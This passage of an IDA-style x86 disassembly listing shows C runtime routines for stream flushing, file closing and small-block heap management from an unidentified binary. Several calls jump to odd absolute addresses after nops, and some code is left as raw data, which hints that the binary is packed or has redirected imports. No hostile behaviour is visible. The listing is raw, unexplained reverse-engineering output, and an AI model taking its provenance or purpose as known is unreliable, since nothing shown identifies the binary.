		jz	short loc_41E150


loc_41E1CD:				; CODE XREF: sub_41E0D4+6Bj
		dec	eax


loc_41E1CE:				; CODE XREF: sub_41E0D4+1Aj
					; sub_41E0D4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E0D4	endp

; ---------------------------------------------------------------------------
		db 0C4h
		dd 29C8A86Dh, 122F4F2h,	37200F44h, 0A164812Fh, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 68E890E8h, 33024437h, 89D48AD2h
		dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh
		dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 0C4E8FC75h, 90000058h, 443700E8h, 0D38CA302h, 82E8004Dh
		dd 0A3000057h, 4DBE34h,	552BE8h, 546DE800h, 0F9E80000h
		dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2441D88h, 53FEE8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 79E89056h, 5002271Fh, 0FE2F80E8h,	0A04589FFh
		dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	3CE85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E2C9	proc near		; CODE XREF: sub_41DA32+16p
					; ___:00423721p ...

arg_0		= dword	ptr  4

		cmp	dword_4DBE3C, 1
		jnz	short loc_41E2D7
		call	sub_423D98


loc_41E2D7:				; CODE XREF: sub_41E2C9+7j
		push	[esp+arg_0]
		call	sub_423DD1
		push	0FFh
		call	off_43AE40
		pop	ecx
		pop	ecx
		retn
sub_41E2C9	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DBE3C
		dd 0E8057501h, 5A9Ch, 42474FFh,	5ACCE8h, 0FF685900h, 0E8000000h
		dd 77A579A5h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41E312	proc near		; CODE XREF: sub_41BA3B+2Ap
					; sub_42423B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD140
		jnb	loc_41E3AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E3AC
		push	edi
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E38B
		cmp	edi, 1
		jz	short loc_41E359
		cmp	edi, 2
		jnz	short loc_41E36F


loc_41E359:				; CODE XREF: sub_41E312+40j
		push	2
		call	sub_4240AA
		push	1
		mov	ebp, eax
		call	sub_4240AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E38B


loc_41E36F:				; CODE XREF: sub_41E312+45j
		push	edi
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2670000h
		test	eax, eax
		jnz	short loc_41E38B
		nop
		call	near ptr 2680C22h
		mov	ebp, eax
		jmp	short loc_41E38D
; ---------------------------------------------------------------------------


loc_41E38B:				; CODE XREF: sub_41E312+3Bj
					; sub_41E312+5Bj ...
		xor	ebp, ebp


loc_41E38D:				; CODE XREF: sub_41E312+77j
		push	edi
		call	sub_424030
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E3A8
		push	ebp
		call	sub_420C7F
		pop	ecx
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E3A8:				; CODE XREF: sub_41E312+8Bj
		xor	eax, eax
		jmp	short loc_41E3C0
; ---------------------------------------------------------------------------


loc_41E3AC:				; CODE XREF: sub_41E312+Ej
					; sub_41E312+2Fj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41E3BD:				; CODE XREF: sub_41E312+94j
		or	eax, 0FFFFFFFFh


loc_41E3C0:				; CODE XREF: sub_41E312+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C5	proc near		; CODE XREF: sub_41BA3B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E3EE
		test	al, 8
		jz	short loc_41E3EE
		push	dword ptr [esi+8]
		call	sub_41BA91
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E3EE:				; CODE XREF: sub_41E3C5+Aj
					; sub_41E3C5+Ej
		pop	esi
		retn
sub_41E3C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E490+2Dp
					; sub_41E490+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E402
		push	esi
		call	sub_41E490
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E402:				; CODE XREF: sub_41E3F0+7j
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jz	short loc_41E412
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E412:				; CODE XREF: sub_41E3F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E427
		push	dword ptr [esi+10h]
		call	sub_4240E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E427:				; CODE XREF: sub_41E3F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42B	proc near		; CODE XREF: sub_41BA3B+1Ap
					; ___:0041DAC2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E478
		test	ax, 108h
		jz	short loc_41E478
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E478
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E471
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E478
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E478
; ---------------------------------------------------------------------------


loc_41E471:				; CODE XREF: sub_41E42B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E478:				; CODE XREF: sub_41E42B+14j
					; sub_41E42B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E42B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E487	proc near		; CODE XREF: sub_4241E3p
		push	1
		call	sub_41E490
		pop	ecx
		retn
sub_41E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_41E3F0+Ap
					; sub_41E487+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DD020, esi
		jle	short loc_41E4EE


loc_41E4A1:				; CODE XREF: sub_41E490+5Cj
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E4E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E4E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E4CB
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E4E5
		inc	ebx
		jmp	short loc_41E4E5
; ---------------------------------------------------------------------------


loc_41E4CB:				; CODE XREF: sub_41E490+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E4E5
		test	cl, 2
		jz	short loc_41E4E5
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E4E5
		or	edi, eax


loc_41E4E5:				; CODE XREF: sub_41E490+1Bj
					; sub_41E490+23j ...
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_41E4A1


loc_41E4EE:				; CODE XREF: sub_41E490+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E4F9
		mov	eax, edi


loc_41E4F9:				; CODE XREF: sub_41E490+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: ___:0041E660p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 2690214h
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E528
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E528
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E528:				; CODE XREF: sub_41E4FD+15j
					; sub_41E4FD+1Cj
		pop	esi
		retn
sub_41E4FD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C500
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26D0503h
		test	eax, eax
		jz	short loc_41E56D
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41E56D
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41E56D
		push	1
		pop	eax
		jmp	loc_41E66F
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: ___:0041E551j
					; ___:0041E55Aj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	loc_41E65C
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41E5AF


loc_41E59C:				; CODE XREF: ___:0041E5ADj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E5AA
		cmp	al, 7Ah
		jg	short loc_41E5AA
		sub	al, 20h
		mov	[ecx], al


loc_41E5AA:				; CODE XREF: ___:0041E5A0j
					; ___:0041E5A4j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E59C


loc_41E5AF:				; CODE XREF: ___:0041E59Aj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C850
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E5D1
		lea	eax, [ebp-122Ch]
		jmp	short loc_41E61A
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: ___:0041E5C7j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2670630h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41E605


loc_41E5F2:				; CODE XREF: ___:0041E603j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E600
		cmp	al, 7Ah
		jg	short loc_41E600
		sub	al, 20h
		mov	[ecx], al


loc_41E600:				; CODE XREF: ___:0041E5F6j
					; ___:0041E5FAj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E5F2


loc_41E605:				; CODE XREF: ___:0041E5F0j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx


loc_41E61A:				; CODE XREF: ___:0041E5CFj
		cmp	eax, ebx
		jz	short loc_41E65C
		push	2Ch
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E65C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E641


loc_41E633:				; CODE XREF: ___:0041E63Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E63C
		mov	[ecx], bl
		jmp	short loc_41E63D
; ---------------------------------------------------------------------------


loc_41E63C:				; CODE XREF: ___:0041E636j
		inc	ecx


loc_41E63D:				; CODE XREF: ___:0041E63Aj
		cmp	[ecx], bl
		jnz	short loc_41E633


loc_41E641:				; CODE XREF: ___:0041E631j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C586
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E66F
		cmp	eax, 3
		jz	short loc_41E66F
		cmp	eax, 1
		jz	short loc_41E66F


loc_41E65C:				; CODE XREF: ___:0041E586j
					; ___:0041E61Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41E4FD
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E66F:				; CODE XREF: ___:0041E568j
					; ___:0041E650j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 2461978h
		dd 0A3C08590h, 4DD384h,	93E83674h, 83FFFFFEh, 88A303F8h
		dd 75004DD3h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 95E8004Dh
		dd 90024527h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD384h
		dd 191EE890h, 0C085023Ah, 4DD37CA3h, 0C3017500h, 4244C8Bh
		dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h
		dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E717	proc near		; CODE XREF: sub_41BA91+17p
					; sub_41BBE2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DD378
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DD37C
		lea	ecx, [eax+ecx*4]


loc_41E727:				; CODE XREF: sub_41E717+26j
		cmp	eax, ecx
		jnb	short loc_41E73F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E741
		add	eax, 14h
		jmp	short loc_41E727
; ---------------------------------------------------------------------------


loc_41E73F:				; CODE XREF: sub_41E717+12j
		xor	eax, eax

locret_41E741:				; CODE XREF: sub_41E717+21j
		retn
sub_41E717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E742	proc near		; CODE XREF: sub_41BA91+23p
					; sub_41BBE2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41EA66
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E818
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E7A6
		push	3Fh
		pop	edx


loc_41E7A6:				; CODE XREF: sub_41E742+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E7FA
		cmp	edx, 20h
		jnb	short loc_41E7D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7D1:				; CODE XREF: sub_41E742+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E7F2:				; CODE XREF: sub_41E742+86j
					; sub_41E742+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E7FD
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E742+6Aj
		mov	ecx, [ebp+var_4]


loc_41E7FD:				; CODE XREF: sub_41E742+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E818:				; CODE XREF: sub_41E742+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E826
		push	3Fh
		pop	edx


loc_41E826:				; CODE XREF: sub_41E742+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E8C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E84B
		mov	ebx, esi


loc_41E84B:				; CODE XREF: sub_41E742+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E85D
		mov	edx, esi


loc_41E85D:				; CODE XREF: sub_41E742+117j
		cmp	ebx, edx
		jz	short loc_41E8C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E8AC
		cmp	ebx, 20h
		jnb	short loc_41E88D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E8AC
; ---------------------------------------------------------------------------


loc_41E88D:				; CODE XREF: sub_41E742+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E8AC:				; CODE XREF: sub_41E742+128j
					; sub_41E742+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E8C4:				; CODE XREF: sub_41E742+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------


loc_41E8C9:				; CODE XREF: sub_41E742+EDj
		mov	ebx, [ebp+arg_0]


loc_41E8CC:				; CODE XREF: sub_41E742+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E8DA
		cmp	ebx, edx
		jz	loc_41E95B


loc_41E8DA:				; CODE XREF: sub_41E742+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E95B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E932
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E921
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E921:				; CODE XREF: sub_41E742+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E95B
; ---------------------------------------------------------------------------


loc_41E932:				; CODE XREF: sub_41E742+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E948
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E948:				; CODE XREF: sub_41E742+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E95B:				; CODE XREF: sub_41E742+192j
					; sub_41E742+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41EA66
		mov	eax, dword_4DD374
		test	eax, eax
		jz	loc_41EA58
		mov	ecx, dword_4DD36C
		mov	esi, dword_427068
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DD36C
		mov	eax, dword_4DD374
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DD374
		mov	ecx, dword_4DD36C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DD374
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DD374
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E9E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DD374


loc_41E9E9:				; CODE XREF: sub_41E742+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41EA58
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DD374
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27B0000h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DD374
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D670
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DD378
		cmp	eax, dword_4DD374
		jbe	short loc_41EA4E
		sub	[ebp+arg_0], 14h


loc_41EA4E:				; CODE XREF: sub_41E742+306j
		mov	eax, dword_4DD37C
		mov	dword_4DD370, eax


loc_41EA58:				; CODE XREF: sub_41E742+234j
					; sub_41E742+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DD36C, edi
		mov	dword_4DD374, eax


loc_41EA66:				; CODE XREF: sub_41E742+38j
					; sub_41E742+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6B	proc near		; CODE XREF: sub_41BBE2+77p
					; sub_41BEF3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EAAB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EABB
; ---------------------------------------------------------------------------


loc_41EAAB:				; CODE XREF: sub_41EA6B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41EABB:				; CODE XREF: sub_41EA6B+3Ej
		mov	eax, dword_4DD370
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EAE2


loc_41EAC9:				; CODE XREF: sub_41EA6B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EAE2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EAC9


loc_41EAE2:				; CODE XREF: sub_41EA6B+5Cj
					; sub_41EA6B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EB60
		mov	ebx, edx


loc_41EAE9:				; CODE XREF: sub_41EA6B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB05
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB03
		add	ebx, 14h
		jmp	short loc_41EAE9
; ---------------------------------------------------------------------------


loc_41EB03:				; CODE XREF: sub_41EA6B+91j
		cmp	ebx, eax


loc_41EB05:				; CODE XREF: sub_41EA6B+83j
		jnz	short loc_41EB60


loc_41EB07:				; CODE XREF: sub_41EA6B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EB1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB1A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EB07
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EA6B+A5j
		cmp	ebx, [ebp+var_4]


loc_41EB1D:				; CODE XREF: sub_41EA6B+9Fj
		jnz	short loc_41EB45
		mov	ebx, edx


loc_41EB21:				; CODE XREF: sub_41EA6B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB35
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB33
		add	ebx, 14h
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------


loc_41EB33:				; CODE XREF: sub_41EA6B+C1j
		cmp	ebx, eax


loc_41EB35:				; CODE XREF: sub_41EA6B+BBj
		jnz	short loc_41EB45
		call	sub_41ED74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EB59


loc_41EB45:				; CODE XREF: sub_41EA6B:loc_41EB1Dj
					; sub_41EA6B:loc_41EB35j
		push	ebx
		call	sub_41EE25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EB60


loc_41EB59:				; CODE XREF: sub_41EA6B+D8j
		xor	eax, eax
		jmp	loc_41ED6F
; ---------------------------------------------------------------------------


loc_41EB60:				; CODE XREF: sub_41EA6B+7Aj
					; sub_41EA6B:loc_41EB05j ...
		mov	dword_4DD370, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EB87
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EBBE


loc_41EB87:				; CODE XREF: sub_41EA6B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EBBB


loc_41EBA4:				; CODE XREF: sub_41EA6B+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EBA4


loc_41EBBB:				; CODE XREF: sub_41EA6B+137j
		mov	edx, [ebp+var_4]


